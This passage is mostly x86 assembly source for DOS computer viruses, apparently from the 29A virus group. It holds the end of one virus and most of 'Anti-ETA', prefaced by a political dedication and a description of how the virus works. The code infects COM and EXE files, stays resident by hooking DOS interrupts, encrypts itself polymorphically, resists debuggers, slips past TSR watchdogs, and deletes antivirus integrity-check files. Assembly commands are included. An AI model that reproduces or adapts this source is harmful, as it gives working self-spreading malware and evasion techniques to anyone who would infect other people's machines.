inc byte ptr es:[di+1]
@nosvamos_4: ret
@q_seg_sub: mov word ptr es:[di],0ea81h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_41
inc word ptr es:[di+1]
@nosvamos_41: ret

; Generator ----> More than 4 bytes routines

inst_5: call aleatorio ; Anti-spectral routine,


and ah,1 ;generates a random value
jz @c_seg_parte ;after a cmp ax,ax/jz xxx
and al,1 ;that will never be executed:
jz @c_seg_prim ;'spectral' is a way of
mov word ptr es:[di],0c033h ;finding polymorphic viruses
mov word ptr es:[di+2],0274h;that checks for instructions
call aleatorio ;that aren't in the poly
mov word ptr es:[di+4],ax ;engine; if the instructions
mov si,06h ;are all of a fixed range,
ret ;the spectral identifies the
;poly engine.

@c_seg_prim:
mov word ptr es:[di],0f7fah ; Antidebugging routine
mov word ptr es:[di+2],0f7dch ;( cli, neg sp, neg sp,
mov word ptr es:[di+4],0fbdch ; sti )
mov si,06h
ret

@c_seg_parte: and al,1


jz @c_seg_seg ; Anti-spectral
mov word ptr es:[di],0ffb8h ; mov ax,0ffffh
mov word ptr es:[di+2],040ffh ; inc ax
mov word ptr es:[di+4],0274h ; jz seguimos
call aleatorio ; ( 2 crap bytes )
mov word ptr es:[di+6],ax
mov si,08h
ret

@c_seg_seg:
lea si,ant_debug ; Antidebugging, the routine
mov cx,@getmcb-ant_debug ;placed near the beggining
push cx ;of Zohra
rep movsb
pop si
sub di,si
ret

Int24h: mov al,3


iret

Salto_a_int21h:
db 0eah
int21h: dw 0,0

rutinadiv: ; The virus jumps here when a div bp is used


pushf ;at the infection zone
call dword ptr cs:[int21h]
mov bp,sp
add word ptr ss:[bp],2
xor bp,bp
iret

virus_end label byte

encryptvalue: dw 0 ; Valor de encriptaci¢n

; This is to start deencrypting only from the first infection: this part
;doesn't get copied with the virus

fuera_desencriptado:

xor bp,bp
mov word ptr cs:[encrypt_start-2+bp],rut_desencriptado-encrypt_start
ret

CODIGO ENDS
END Comienzo

; This Is Your World In Which We Grow, And We Will Grow To Hate You
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Anti-ETA ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by GriYo/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Introduction
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; This virus is an iniciative of Mister Sandman (writing this right now) and
; GriYo, supported by the rest of the 29Aers and finally written by GriYo.
;
; Espa¤a (Spain in english) is a country that emerged and took its final and
; actual form during the first years of the XVIth century. It was born from
; the conjunction of many other kingdoms/independent countries (ie Arag¢n,
; Catalunya, Galicia, Euskadi, and the most important, Castilla) which lived
; (and fought) together in the actual spanish territory. This final union
; was possible by means of marriages between princes and princesses of these
; kingdoms, pacts, and, of course, wars -which became conquests-.
;
; Today, about four centuries later, a very little minority living in Euska-
; di (right now, one of the seventeen provinces in Spain) claim for their
; independence by means of violence. They don't hesitate on placing bombs in
; big stores, streets, cars, etc. thus causing the death of innocent people,
; or on killing policemen, politicians or anybody who just don't thinks the
; way they do.
;
; Luckily, many of these motherfuckers are arrested and put in prison far
; away from their home. Anyway, this has also become a problem, as they want
; to stay only in euskadian prisons, in order to be able to keep in contact
; with their family. This fact drove them to, apart from do more killings,
; kidnap an innocent young jailer, called Jos‚ Antonio Ortega Lara.
;
; They didn't ask for money. He was put underground in a very tiny and empty
; room, without any light, without any way to know when it dawns or when it
; gets dark, with very few oxygen to breath, with only some food every four
; days, served in the same receptacle where he had to shit and urinate. This
; is... without anything to do... except of waiting to be freed, and hoping
; that all the psychic tortures he was going submitted to were going to have
; an end some day.
;
; Happily, the spanish police found and freed him 532 days later. He had a
; long barb and 27kg less of his normal weight. But he eventually was able
; to see the light and walk (even talk) again. Today, Jos‚ Ortega Lara is
; still under psychical attention, carrying a normal life again.
;
; However, the reason to be of this virus takes place a few days later, when
; the euskadian violent-independentist group kidnapped Miguel Angel Blanco,
; a politician from a small town called Ermua, and threatened to kill him
; unless the spanish goverment would allow the approaching of the arrested
; terrorists to Euskadi in a 48-hour deadline. Since this was made public,
; millions of people went out to the street in order to show their inconfor-
; mity with this cruel way of acting.
;
; Sadly, none of the mass meetings which collapsed the whole Spain for 48
; hours were enough, and Miguel Angel Blanco, the 28 year-old politician,
; was eventually killed by one of these terrorists by means of two bullets
; shot in his head.
;
; The name of this euskadian terrorist group is ETA, hence the name of this
; virus, Anti-ETA, offered as a homage to all the families which were vic-
; tims of the violent way of acting of these independentists, and especially
; to Jos‚ Antonio Ortega Lara and Miguel Angel Blanco Garrido (RIP).
;
; 29A against terrorism,
; the 29A staff.
;
;
; Virus behavior
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; DLE Code executed when an infected file is run:
;
; - Polymorphic decryptor
; - CPU type check routine
; - Installation check
; - COMMAND.COM segment prefix search
; - Host allocated conventional memory reduction
; - Conventional memory order for installation
; - COMMAND.COM segment prefix activation as current PSP (this
; context change allows Anti-ETA to perform memory allocation
; calls without warning a good bunch of TSR watchdogs
; - Interrupt 22h hooking into host PSP (without modifying IVT)
; - Control return to host
;
; DLE Tasks performed by the int 22h handler:
;
; - Code decryption
; - Interrupt 3 (breakpoint) vector saving
; - Interrupt 3 hooking with the virus handler
; - Interrupt 28h (DOS idle interrupt that points to an iret
; instruction by default) vector order
; - First byte of current int 28h handler storing, instead of
; an int 3 instruction
; - Jump to the original int 22h
;
; Every time in which COMMAND.COM calls its idle interrupt, a
; breakpoint instruction gives the control to the interrupt 3
; handler, owned by Anti-ETA. This handler will count the
; number of calls until it determines that it's safe to hook
; interrupt 21h. I stole the idea on using int 28h in such a
; way from Rhincewind (see Catch22 TSR loader), but this
; approach is much more enhanced ;)
;
; DLE Code executed from the idle interrupt:
;
; - Another decryption loop performance
; - First int 28h byte restoring
; - Interrupt 3 vector restoring
; - Virus body move to another memory block (including UMBs)
; - Old memory block release
; - Interrupt 21h hooking
;
; Encryption
; ÄÄÄÄÄÄÄÄÄÄ
; The main polymorphic decryptor receives the control when an infected file
; file is executed. On program termination, the virus int 22h handler recei-
; ves the control and decrypts the whole Anti-ETA body using the decryptor
; code as key. Another decryptor appears when execution reaches virus' int 3
; handler from the previously redirected idle interrupt.
;
; Infection and activation routines are also encrypted in memory (using a
; random cipher key each time) and their code will be decrypted on the fly
; when necessary.
;
;
; Polymorphism
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; Anti-ETA is polymorphic in EXE and COM files, as well as in the COM files
; it sometimes may drop after having been called function 3bh of int 21h.
;
;
; File infection
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When any file is executed, Anti-ETA just stores the file name and infects
; it upon termination, and same for open/close functions.
;
; Every time the virus modifies any file, ANTI-VIR.DAT and CHKLIST.MS will
; be deleted (if they exist) in order to avoid getting caught by any kind of
; integrity checker.
;
; While infecting files, Anti-ETA uses standard DOS calls, checking for
; errors after each of them and without using any system file table (looking
; for some network compatibility).
;
; The virus tries to find the original int 21h entry point (using the 52h
; function backdoor), and uses it in all the file infection routines, thus
; bypassing many TSR watchdogs.
;
; Finally, the int 3 vector is redirected to the original int 21h EP, and
; Anti-ETA uses an int 3 instruction (only 1 byte) when calling any DOS
; function for infection.
;
;
; Retro functions
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Checksum files ANTI-VIR.DAT and CHKLIST.MS are deleted from every directo-
; ry where a file is going to be infected. Apart from this, the virus con-
; tains some antidebugging code.
;
;
; Activation routines
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; On every call to the int 21h function 3bh (set current directory), the vi-
; rus will sometimes drop an infected COM file, with a random name and a
; random date/time stamp). Its size will be also random due to the polymor-
; phic encryption... and... btw, Anti-ETA will not infect its sons, just be-
; cause they're too small ;)
;
; The main payload effect triggers every july 10th (the date in which Miguel
; Angel Blanco was kidnapped), displaying a graphic that consists on a whi-
; te hand in which reads "Anti-ETA". The white hand is the symbol which we
; use in Spain to tell ETA "STOP THE KILLING!".
;
;
; Greetings
; ÄÄÄÄÄÄÄÄÄ
; This time, very special greetings go from the 29A staff to all the victims
; of ETA, hoping this will have an end some day in the future.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm /m anti-eta.asm
; tlink anti-eta.obj

anti_eta segment
.386
assume cs:anti_eta,ds:anti_eta,es:anti_eta,ss:anti_eta
org 0000h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Some useful equates ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

mem_byte_size equ offset virus_mem_end - offset entry_point


mem_para_size equ (mem_byte_size+000Fh)/0010h
inf_byte_size equ offset virus_inf_end - offset entry_point
inf_para_size equ (inf_byte_size+000Fh)/0010h
byte_area01h equ offset end_area01h - offset crypt_area01h
byte_area02h equ offset end_area02h - offset crypt_area02h
byte_area03h equ offset end_area03h - offset crypt_area03h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus entry point for all targets (COM and EXE files) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

entry_point: push ds ; Save segment regs


push es
db 0BDh ; Get delta
delta: dw 0000h ; (mov bp,nnnn)
push cs ; Point DS to
pop ds ; our code
cli ; Check for 386+
pushf ; CPU
pop ax
or ax,2000h
push ax
popf
pushf
pop ax
sti
test ax,2000h ; Exit if 286
jz exit_install ; or below
mov esi,"ANTI"
mov ah,30h ; Get DOS version
int 21h ; and perform
cmp esi,"ETA!" ; installation
je exit_install ; check
cmp al,05h ; MS-DOS 5.0+
jb exit_install ; check

; I found a problem using this method of residency


; when the virus tries to go resident while a copy
; of itself is waiting for enough DOS idle time.
;
; Fix:
;
; The virus can check if another copy of itself is
; using the DOS idle interrupt. Just check for a
; breakpoint in the first byte of int 28h.

mov ax,3528h ; Get int 28h


int 21h ; vector
cmp byte ptr es:[bx],0CCh ; int 3?
je exit_install ; Yes, abort
mov ah,62h ; Get and save
int 21h ; active PSP
mov es,bx ; ES:SI -> host PSP
xor si,si
mov dx,bx ; Always DW=host PSP
; A new problem appears when an infected program
; executes another file which is also infected.
;
; Fix:
;
; Get parent PSP and check the name of the MCB
; behind. Go resident only if the command inter-
; preter is the parent of the infected host.

mov ax,word ptr es:[si+16h] ; Get parent PSP


mov di,ax
dec ax ; Get parent MCB
mov es,ax
cmp dword ptr es:[si+08h],"MMOC" ; Check name in MCB
jne exit_install
mov es,dx ; Get host PSP
mov ah,4Ah ; Get free memory
push ax
mov bx,0FFFFh
int 21h
pop ax
sub bx,mem_para_size+01h ; Sub some memory
int 21h ; for our code
jc exit_install
mov bx,di
mov ah,50h ; Activate command
int 21h ; PSP
jc exit_install
mov ah,48h ; Ask for memory
mov bx,mem_para_size
int 21h
mov es,ax ; Copy virus to
call move_virus ; allocated memory
push ds
mov ds,dx
xor si,si ; DS:SI -> host PSP
mov eax,dword ptr ds:[si+0Ah] ; Get int 22h vector,
mov dword ptr es:[old22h],eax ; save it and point
mov word ptr ds:[si+0Ah],offset my22h ; to our handle
mov word ptr ds:[si+0Ch],es
pop ds
mov bx,dx
mov ah,50h ; Now set host PSP
int 21h ; as current PSP

exit_install: mov eax,dword ptr ds:[bp+host_type]


cmp eax,".COM" ; Is it a COM host?
je exit_com
cmp eax,".EXE" ; An EXE host?
je exit_exe

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Exit for 1st virus generation ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

exit_launcher: pop es ; Exit virus launcher


pop ds ; Restore segment
mov ax,4C00h ; regs and call to
int 21h ; terminate prog

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Exit from a COM file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
exit_com: mov eax,dword ptr ds:[bp+old_header] ; Restore first
mov dword ptr ds:[0100h],eax ; four bytes
pop es ; Restore segments
pop ds
push cs ; Save return address
push 0100h
xor ax,ax ; Clear some regs
mov bx,ax
mov cx,ax
mov dx,ax
mov si,ax
mov di,ax
mov bp,ax
retf

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Exit from an EXE file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

exit_exe: mov ah,62h ; Get active PSP


int 21h
add bx,0010h ; Calculate host CS
add word ptr ds:[bp+exe_ip_cs+02h],bx
add bx,word ptr ds:[bp+old_header+0Eh] ; Calculate host SS
pop es ; Restore segments
pop ds
cli ; Fix program stack
mov ss,bx
mov sp,word ptr cs:[bp+old_header+10h]
sti
xor ax,ax ; Clear some regs
mov bx,ax
mov cx,ax
mov dx,ax
mov si,ax
mov di,ax
mov bp,ax
db 0EBh,00h ; Clear prefetch
db 0EAh ; Get control back
exe_ip_cs dd 00000000h ; to host

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Move virus code to another memory location ³
;³ On entry: ³
;³ DS:BP -> current location ³
;³ ES -> new segment location ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

move_virus: sub di,di


mov si,bp
mov cx,inf_byte_size
cld
rep movsb
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Insert/remove breakpoint into/from int 28h handler code (DOS idle) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

xchg28h: push di
push es
cli
les di,dword ptr cs:[old28h] ; Xchg int 28h
mov al,byte ptr es:[di] ; first byte
xchg al,byte ptr cs:[breakpoint] ; with out buffer
stosb
sti
pop es
pop di
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Some code and data out of all the sub-decryptors ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

old03h dd 00000000h ; Int 3 vector


crypt_leave21h: db 0EBh,00h ; Clear prefetch
db 0EAh ; Get control back
old21h dd 00000000h ; to original int 21h
orig21h dd 00000000h ; DOS entry point
crypt_leave22h: db 0EBh,00h ; Clear prefetch
db 0EAh ; Get control back
old22h dd 00000000h ; to original int 22h
old24h dd 00000000h ; Critical error
old28h dd 00000000h ; to original int 28h
breakpoint db 00h ; Int 28h 1st byte
host_type dd "CEPA" ; File type
crypt_delta dw 0000h ; Delta for decryptor

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Crypt/decrypt area 01h ³
;³ On entry: ³
;³ DS -> area 01h segment to crypt/decrypt ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

crypto01h: push bx
push es
push ds
pop es
mov si,word ptr cs:[crypt_delta]
add si,offset crypt_area01h
mov di,si
mov bx,offset crypto01h
mov cx,(byte_area01h+01h)/02h
cld
crypt_loop01h: lodsw
push ax
pop dx
cli
mov ax,0002h ; Simple stack
sub sp,ax ; verification
sti
pop ax
cmp ax,dx
jne crypt_loop01h ; Fool tracing
xor ax,word ptr cs:[bx] ; Use our code as key
stosw ; to avoid
inc bx ; modifications
cmp bx,offset exit_crypt01h
jne continue01h
mov bx,offset crypto01h
continue01h: loop crypt_loop01h
pop es
pop bx
exit_crypt01h: ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus int 22h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

my22h: push cs ; Point DS to


pop ds ; virus code
mov word ptr ds:[crypt_delta],0000h ; Clear delta crypt
mov eax,dword ptr ds:[host_type] ; Launcher doesn't
cmp eax,"CEPA" ; need decryption
je skip_area01h
call crypto01h ; Do decryption
crypt_area01h equ this byte
skip_area01h: db 0EBh,00h ; Clear prefetch
mov al,03h ; Save old int 3
call get_int ; vector
mov word ptr ds:[old03h],bx
mov word ptr ds:[old03h+02h],es ; Hook int 3 to
mov dx,offset my03h ; our int 21h
call set_int ; Hooking routine
mov al,28h ; Save int 28h
call get_int ; vector and
mov word ptr ds:[old28h],bx ; insert an int 3
mov word ptr ds:[old28h+02h],es ; instruction over
mov byte ptr ds:[breakpoint],0CCh ; the handler code
call xchg28h
exit22h: jmp crypt_leave22h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Crypt/decrypt area 02h ³
;³ On entry: ³
;³ DS -> segment of area 02h to crypt/decrypt ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

crypto02h: push es
push ds
pop es
mov si,word ptr cs:[crypt_delta]
add si,offset crypt_area02h
mov di,si
mov cx,(byte_area02h+02h)/02h
cld
crypt_loop02h: lodsw
xchg ah,al
stosw
loop crypt_loop02h
pop es
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus int 3 handler (called on every int 28h call) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

my03h: call push_all ; Save all regs


push cs ; Point DS to
pop ds ; virus code
mov eax,dword ptr ds:[host_type] ; Launcher doesn't
cmp eax,"CEPA" ; need decryption
je skip_area02h
call crypto02h ; Do decryption
db 0EBh,00h ; Clear prefetch
skip_area02h: call xchg28h ; Remove breakpoint
mov si,mem_para_size ; Allocate memory
call mem_alloc
or di,di ; Exit if error
jz cant_move_it ; on mem allocation
push di
mov es,di ; Copy virus to
sub bp,bp ; memory
call move_virus ; Continue execution
push offset continue_here ; at newly allocated
retf ; memory block
continue_here: mov ah,49h ; Free old virus
push ds ; memory
pop es
int 21h
cant_move_it: mov al,03h ; Restore int 3
lds dx,dword ptr cs:[old03h]
call set_int
push cs
pop ds
mov ax,3521h ; Get and save
int 21h ; current int 21h
mov word ptr ds:[old21h],bx
mov word ptr ds:[old21h+02h],es
mov word ptr ds:[orig21h],bx
mov word ptr ds:[orig21h+02h],es
mov ah,52h ; Use this backdoor
int 21h ; to get int 21h
mov bx,109Eh ; kernel entry point
cmp word ptr es:[bx],9090h
jne no_backdoor
cmp byte ptr es:[bx+02h],0E8h
jne no_backdoor
cmp word ptr es:[bx+05h],0FF2Eh
jne no_backdoor
mov word ptr ds:[orig21h],bx
mov word ptr ds:[orig21h+02h],es

; Function 52h (get ptr to dos info block) returns


; in ES the segment of the DOS entry point. Offset
; seems to be always 109eh in lots of machines.
;
; Anti-ETA will check if the code looks like:
;
; nop -> 90h
; nop -> 90h
; call xxxx -> E8h xx xx
; jmp dword ptr cs:[yyyy] -> 2Eh FFh 2Eh yy yy

no_backdoor: mov eax,dword ptr ds:[host_type] ; Launcher needs


cmp eax,"CEPA" ; encryption
jne skip_area03h
call crypto03h
skip_area03h: mov ax,2521h ; Point int 21h
mov dx,offset my21h ; to our handler
int 21h
exit03h: call pop_all ; Restore saved regs
pushf
call dword ptr cs:[old28h]
cli ; Fix stack
add sp,0006h ; and return to
sti ; int 28h caller
iret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption over area 03h (int 21h code) ³
;³ On entry: ³
;³ DS -> segment of area 03h to crypt/decrypt ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

crypt_area02h equ this byte


crypto03h: db 0EBh,00h ; Clear prefetch
push si ; Save some
push di ; regs and
push es ; perform
short_way: push ds ; encryption
pop es ; using add
mov si,word ptr cs:[crypt_delta] ; instruction
add si,offset crypt_area03h
mov di,si
mov cx,(byte_area03h+01h)/02h
cld
db 0EBh,00h ; Clear prefetch
crypt_loop03h: lodsw
db 05h ; add ax,xxxx
crypt21h_key dw 029Ah
stosw
loop crypt_loop03h
pop es
pop di
pop si
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Decrypt virus int 21h code if needed ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

rm_crypt21h: mov ax,cs ; Remove int 21h


mov ds,ax ; encryption
mov es,ax ; using sub
mov si,offset crypt_area03h ; instruction
mov di,si
mov cx,(byte_area03h+01h)/02h
cld
db 0EBh,00h ; Clear prefetch
clear21h: lodsw
db 2Dh ; sub ax,xxxx
decrypt21h_key dw 029Ah
stosw
loop clear21h
call rand_16
mov word ptr ds:[crypt21h_key],ax ; Get random key
mov word ptr ds:[decrypt21h_key],ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus int 21h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

my21h: cmp ah,30h ; Install check?


je install_check
cmp ah,3Bh ; Change directory
jne try_get_name
call push_all ; Save all regs
call rm_crypt21h ; Remove encryption
jmp try_activation
try_get_name: cmp ax,4B00h ; Execution?
je work_filename
cmp ah,3Dh ; Open?
je work_filename
cmp ah,6Ch ; Extended open?
jne try_infection
work_filename: call push_all ; Save all regs
call rm_crypt21h ; Remove encryption
call pop_all ; Restore regs
call push_all ; and save them again
jmp store_filename ; Copy filename
try_infection: cmp ax,4C00h ; Terminate?
je work_infection
cmp ah,3Eh
jne forget_this
work_infection: call push_all ; Save all regs
call rm_crypt21h ; Remove encryption
call pop_all ; Restore regs
call push_all ; and save them again
jmp infect_program
forget_this: jmp crypt_leave21h
exit21h: push cs ; Redo encryption
pop ds ; before leaving
call crypto03h
call pop_all ; Restore regs
jmp crypt_leave21h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Perform a call to the original int 21h vector ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

call21h: pushf ; Perform a call to


call dword ptr cs:[orig21h] ; the interrupt 21h
retf 02h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Installation check ³
